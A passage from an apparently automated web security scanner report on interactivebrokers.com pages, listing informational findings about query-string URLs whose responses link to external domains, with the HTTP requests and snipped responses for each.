http://s7.addthis.com/js/250/addthis_widget.js
http://www.sipc.org/

Request

GET /en/accounts/institutions/fundMain.php?ib_entity=inst HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:26 GMT
Server: Apache
Content-Length: 48959
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p>For information on SIPC coverage on your account, visit <a target="_blank" href="http://www.sipc.org">www.sipc.org</a>
...[SNIP]...

16.14. http://www.interactivebrokers.com/en/accounts/institutions/institutionalMain.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/accounts/institutions/institutionalMain.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/accounts/institutions/institutionalMain.php?ib_entity=inst

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.sipc.org/

Request

GET /en/accounts/institutions/institutionalMain.php?ib_entity=inst HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:25 GMT
Server: Apache
Content-Length: 47813
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Open an Account</title>
<meta name="description" content=
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p>For information on SIPC coverage on your account, visit <a href="http://www.sipc.org" target="_blank">www.sipc.org</a>
...[SNIP]...

16.15. http://www.interactivebrokers.com/en/general/about/awards.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/about/awards.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/general/about/awards.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/about/awards.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:33 GMT
Server: Apache
Content-Length: 59588
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Interactive Brokers Awards</title>
<meta name="descriptio
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.16. http://www.interactivebrokers.com/en/general/education/OptPriceAgreement.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/OptPriceAgreement.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/general/education/OptPriceAgreement.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.optionsclearing.com/publications/risks/riskchap1.jsp

Request

GET /en/general/education/OptPriceAgreement.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:15 GMT
Server: Apache
Content-Length: 41409
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Interactive Tutorial and Widget User Agreement</title>
<m
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
</strong> or <a target="_blank" href="http://www.optionsclearing.com/publications/risks/riskchap1.jsp">click here</a>
...[SNIP]...

16.17. http://www.interactivebrokers.com/en/general/education/comparebrokers.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/comparebrokers.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/general/education/comparebrokers.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.finra.org/
http://www.nyse.com/
http://www.sipc.org/

Request

GET /en/general/education/comparebrokers.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:11 GMT
Server: Apache
Content-Length: 38085
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Broker
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<p class="smalltext2">Interactive Brokers LLC is a member of <a href="http://www.nyse.com" target="_blank">NYSE</a>, <a href="http://www.finra.org" target="_blank">FINRA</a>, <a href="http://www.sipc.org">SIPC</a>
...[SNIP]...

16.18. http://www.interactivebrokers.com/en/general/education/webinars.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/education/webinars.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/general/education/webinars.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.finra.org/
http://www.nyse.com/
http://www.optionsclearing.com/publications/risks/riskchap1.jsp
http://www.sipc.org/

Request

GET /en/general/education/webinars.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:20 GMT
Server: Apache
Content-Length: 53239
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Live Web
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
and risks of options, you can obtain a copy of the Options Clearing Corporation risk disclosure document titled Characteristics and Risks of Standardized Options by calling (203) 618-5800 or visiting: <a target="_blank" href="http://www.optionsclearing.com/publications/risks/riskchap1.jsp"><span>
...[SNIP]...
<br>
Interactive Brokers LLC is a member of <a href="http://www.nyse.com/" target="_blank"><span>
...[SNIP]...
</span><a href="http://www.finra.org/"target="_blank"><span>
...[SNIP]...
</span><a href="http://www.sipc.org/" target="_blank"><span>
...[SNIP]...
na copia de los avisos sobre riesgo de la "Clearing Corporation" titulado "Characteristics and Risks of Standardized Options" llamando al número (203) 618-5800 o visitando la página web: <a target="_blank" href="http://www.optionsclearing.com/publications/risks/riskchap1.jsp"><span>
...[SNIP]...
<br>

Interactive Brokers LLC es un miembro de <a href="http://www.nyse.com/" target="_blank"><span>
...[SNIP]...
</span><a href="http://www.finra.org/"target="_blank"><span>
...[SNIP]...
</span><a href="http://www.sipc.org/" target="_blank"><span>
...[SNIP]...

16.19. http://www.interactivebrokers.com/en/general/notifications/ibchanges.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/general/notifications/ibchanges.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/general/notifications/ibchanges.php?ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /en/general/notifications/ibchanges.php?ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:50:11 GMT
Server: Apache
Content-Length: 118648
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>IB Web
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...

16.20. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=ibgStrength&p=a

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.cert.org/tech_tips/home_networks.html
http://www.finra.org/InvestorInformation/InvestorProtection/SIPCProtection/index.htm
http://www.fsa.gov.uk/register/
http://www.securityfocus.com/infocus/1568
http://www.securityfocus.com/infocus/1573
http://www.securityfocus.com/infocus/1579
http://www.securityfocus.com/infocus/1585
http://www.sipc.org/

Request

GET /en/p.php?f=ibgStrength&p=a HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:31 GMT
Server: Apache
Content-Length: 101127
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Interact
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<div align="center" class="instructions"><a href="http://www.SIPC.org" target="_blank">http://www.SIPC.org<br />
...[SNIP]...
</a><a target="_blank" href="http://www.finra.org/InvestorInformation/InvestorProtection/SIPCProtection/index.htm">http://www.finra.org/InvestorInformation/InvestorProtection/SIPCProtection/index.htm</a>
...[SNIP]...
<p><a href="http://www.SIPC.org" target="_blank"><img border="0" width="100" alt="" src="../../../../images/common/SIPC-Logo.gif" />
...[SNIP]...
<br><a href="http://www.cert.org/tech_tips/home_networks.html" target="_blank"> http://www.cert.org/tech_tips/home_networks.html</a>
...[SNIP]...
<br><a href="http://www.securityfocus.com/infocus/1568" target="_blank">http://www.securityfocus.com/infocus/1568</a>
...[SNIP]...
<br><a href="http://www.securityfocus.com/infocus/1573" target="_blank">http://www.securityfocus.com/infocus/1573</a>
...[SNIP]...
<br><a href="http://www.securityfocus.com/infocus/1579" target="_blank">http://www.securityfocus.com/infocus/1579</a>
...[SNIP]...
<br><a href="http://www.securityfocus.com/infocus/1585" target="_blank">http://www.securityfocus.com/infocus/1585</a>
...[SNIP]...
<li> Interactive Brokers LLC is a member of NYSE - FINRA - <a href="http://www.sipc.org/" target="_blank">SIPC</a>
...[SNIP]...
<li> Interactive Brokers (U.K.) Limited is authorised and regulated
by the Financial Services Authority. FSA register entry number 208159 (<a href="http://www.fsa.gov.uk/register/" target="_blank">http://www.fsa.gov.uk/register/</a>
...[SNIP]...
<p>Multiple accounts maintained in the same name and taxpayer ID number are grouped
for purposes of applying the maximum per client protection limits of $500,000
by <a href="http://www.SIPC.org" target="_blank">SIPC</a>
...[SNIP]...
<p>IB's supplementary protection from Lloyd's of London is subject
to an aggregate loss limit of $150 million. This is the maximum amount available
to cover IB's customers in excess of <a href="http://www.SIPC.org" target="_blank">SIPC</a> protection. In the unlikely
event of a financial failure of the firm coupled with client assets not being
fully recovered, <a href="http://www.SIPC.org" target="_blank">SIPC</a> (or a trustee appointed by the federal courts) would
advance funds to each eligible client (for more details visit <a href="http://www.SIPC.org" target="_blank">http://www.SIPC.org</a>).
Because most accounts maintain less than $500,000 in net equity, <a href="http://www.SIPC.org" target="_blank">SIPC</a>
...[SNIP]...

16.21. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=tradersuniversity&p=fu&ib_entity=

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.finra.org/
http://www.nyse.com/
http://www.optionsclearing.com/publications/risks/riskchap1.jsp
http://www.sipc.org/

Request

GET /en/p.php?f=tradersuniversity&p=fu&ib_entity= HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/futures/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:41 GMT
Server: Apache
Content-Length: 179098
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Traders'
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
risks of options, you can obtain a copy of the Options Clearing Corporation risk disclosure document titled Characteristics and Risks of Standardized Options by calling (203) 618-5800 or visiting: <a target="_blank" href="http://www.optionsclearing.com/publications/risks/riskchap1.jsp"> http://www.optionsclearing.com/publications/risks/riskchap1.jsp</a>
...[SNIP]...
<br />
Interactive Brokers LLC is a member of <a href="http://www.nyse.com/" target="_blank">NYSE</a>, <a href="http://www.finra.org/" target="_blank"> FINRA</a>, <a href="http://www.sipc.org/" target="_blank">SIPC</a>
...[SNIP]...

16.22. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=commission

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.cmegroup.com/company/membership/files/CorporateMemberInformation.pdf
http://www.cmegroup.com/company/membership/files/FMIPApp.pdf
http://www.nymex.com/

Request

GET /en/p.php?f=commission HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/en/p.php?f=customerService&ib_entity=llc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:54:07 GMT
Server: Apache
Content-Length: 304813
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Commissi
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<td align="center" valign="middle" class="comm_table_content"><a target="_blank" href="http://www.cmegroup.com/company/membership/files/CorporateMemberInformation.pdf"><img height="30" width="30" border="0" src="../images/common/legalDocuments/logo_pdf2.gif" alt="" />
...[SNIP]...
<td align="center" valign="middle" class="comm_table_content"><a target="_blank" href="http://www.cmegroup.com/company/membership/files/FMIPApp.pdf"><img height="30" width="30" border="0" src="../images/common/legalDocuments/logo_pdf2.gif" alt="" />
...[SNIP]...
<td align="left" valign="top" class="comm_table_content lineRightGray">IB will honor NYMEX Members and Lessee Participants, and Incentive Program Participants. For details, please visit the <a target="_blank" href="http://www.nymex.com">NYMEX</a>
...[SNIP]...

16.23. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=news&p=n&ib_entity=llc

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://webreprints.djreprints.com/2585521243041.html
http://www.globalxfunds.com/

Request

GET /en/p.php?f=news&p=n&ib_entity=llc HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:31 GMT
Server: Apache
Content-Length: 139175
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>News at
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<br /> For more information Global X, visit <a href="http://www.globalxfunds.com" target="_blank">www.globalxfunds.com</a>
...[SNIP]...
<td valign="top" class="CellOff"><a href="http://webreprints.djreprints.com/2585521243041.html" target="_blank">Barron's "Living on the Margin, at a Discount"</a>
...[SNIP]...

16.24. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=tws&p1=papertrader

The response contains the following links to other domains:

http://interactivebrokers.hrmdirect.com/employment/index.php
http://s7.addthis.com/js/250/addthis_widget.js
http://www.finra.org/
http://www.nyse.com/
http://www.sipc.org/
http://www.theocc.com/publications/risks/riskchap1.jsp

Request

GET /en/p.php?f=tws&p1=papertrader HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:31 GMT
Server: Apache
Content-Length: 145556
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Trader W
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
volve risk and are not suitable for all investors. For more information, read the "Characteristics and Risks of Standardized Options" before investing in options. For a copy call 203 618-5800 or click <a href="http://www.theocc.com/publications/risks/riskchap1.jsp" target="_blank">here</a>
...[SNIP]...
<p class="smalltext2">Interactive Brokers LLC is a member of <a href="http://www.nyse.com/" target="_blank">NYSE</a>, <a href="http://www.finra.org/" target="_blank">FINRA</a>, <a href="http://www.sipc.org/" target="_blank">SIPC</a>
...[SNIP]...

16.25. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.interactivebrokers.com/en/p.php?f=daily_analysis

The response contains the following links to other domains:

http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/commentary.rss
http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/corpbonds_complete.rss
http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/fxview.rss
http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/irmonitor.rss
http://interactivebrokers.hrmdirect.com/employment/index.php
http://premium.basemetals.com/content/html/FMTermsandConditionsforonlineServices.html
http://premium.basemetals.com/content/html/Privacy_Policy.html
http://s7.addthis.com/js/250/addthis_widget.js
http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/Corporate%20Bond%20Brief/*http:/add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/corpbonds_complete.rss
http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/FX%20View/*http:/add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/fxview.rss
http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/IB%20Options%20&%20Futures%20Intelligence%20Report/*http:/add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/commentary.rss
http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/Interest%20Rate%20Monitor%20Brief/*http:/add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/irmonitor.rss
http://www.bloglines.com/sub/http:/www.interactivebrokers.com/rss/commentary.rss
http://www.bloglines.com/sub/http:/www.interactivebrokers.com/rss/corpbonds_complete.rss
http://www.bloglines.com/sub/http:/www.interactivebrokers.com/rss/fxview.rss
http://www.bloglines.com/sub/http:/www.interactivebrokers.com/rss/irmonitor.rss
http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/commentary.rss
http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/corpbonds_complete.rss
http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/fxview.rss
http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/irmonitor.rss
http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/commentary.rss
http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/corpbonds_complete.rss
http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/fxview.rss
http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/irmonitor.rss
http://www.thebulliondesk.com/
http://www.twitter.com/ibcommentary

Request

GET /en/p.php?f=daily_analysis HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:49:29 GMT
Server: Apache
Content-Length: 330273
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>IB Marke
...[SNIP]...
<li><a href="http://interactivebrokers.hrmdirect.com/employment/index.php" >Careers</a>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#pubid=ra-4e174c7454ff6cea"></script>
...[SNIP]...
<map name="Map">
<area alt="My Yahoo" href="http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/IB%20Options%20%26%20Futures%20Intelligence%20Report/*http://add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/commentary.rss" coords="53,10,155,44" shape="rect" />
<area alt="Add to Google" href="http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/commentary.rss" coords="182,13,293,44" shape="rect" />
<area alt="Subscribe with Bloglines" href="http://www.bloglines.com/sub/http://www.interactivebrokers.com/rss/commentary.rss" coords="325,14,406,42" shape="rect" />
<area alt="Subscribe with Newsgater" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/commentary.rss" coords="444,14,545,44" shape="rect" />
<area alt="Subscribe with Netvibes" href="http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/commentary.rss" coords="574,9,673,43" shape="rect" />
<area alt="XML" href="http://www.interactivebrokers.com/rss/commentary.rss" coords="706,11,759,44" shape="rect" />
...[SNIP]...
<td align="left" valign="top" style="padding-right: 44px;">
<a href="http://www.twitter.com/ibcommentary"><img src="../../../images/common/buttons/btn_rss_twitter.png" alt="Twitter" border="0" />
...[SNIP]...
<map name="forexMap">
<area shape="rect" coords="53,10,155,44" href="http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/FX%20View/*http://add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/fxview.rss" alt="My Yahoo" />
<area shape="rect" coords="182,13,293,44" href="http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/fxview.rss" alt="Add to Google" />
<area shape="rect" coords="325,14,406,42" href="http://www.bloglines.com/sub/http://www.interactivebrokers.com/rss/fxview.rss" alt="Subscribe with Bloglines" />
<area shape="rect" coords="444,14,545,44" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/fxview.rss" alt="Subscribe with Newsgater" />
<area shape="rect" coords="574,9,673,43" href="http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/fxview.rss" alt="Subscribe with Netvibes" />
<area shape="rect" coords="706,11,759,44" href="http://www.interactivebrokers.com/rss/fxview.rss" alt="XML" />
...[SNIP]...
<map name="irMap">
<area alt="My Yahoo" href="http://us.rd.yahoo.com/my/atm/Interactive%20Brokers/Interest%20Rate%20Monitor%20Brief/*http://add.my.yahoo.com/rss?url=http%3A//www.interactivebrokers.com/rss/irmonitor.rss" coords="53,10,155,44" shape="rect" />
<area alt="Add to Google" href="http://fusion.google.com/add?source=atgs&feedurl=http%3A//www.interactivebrokers.com/rss/irmonitor.rss" coords="182,13,293,44" shape="rect" />
<area alt="Subscribe with Bloglines" href="http://www.bloglines.com/sub/http://www.interactivebrokers.com/rss/irmonitor.rss" coords="325,14,406,42" shape="rect" />
<area alt="Subscribe with Newsgater" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http://www.interactivebrokers.com/rss/irmonitor.rss" coords="444,14,545,44" shape="rect" />
<area alt="Subscribe with Netvibes" href="http://www.netvibes.com/subscribe.php?url=http://www.interactivebrokers.com/rss/irmonitor.rss" coords="574,9,673,43" shape="rect" />
<area alt="XML" href="http://www.interactivebrokers.com/rss/irmonitor.rss" coords="706,11,759,44" shape="rect" />
...[SNIP]...
<map name="cbMap">
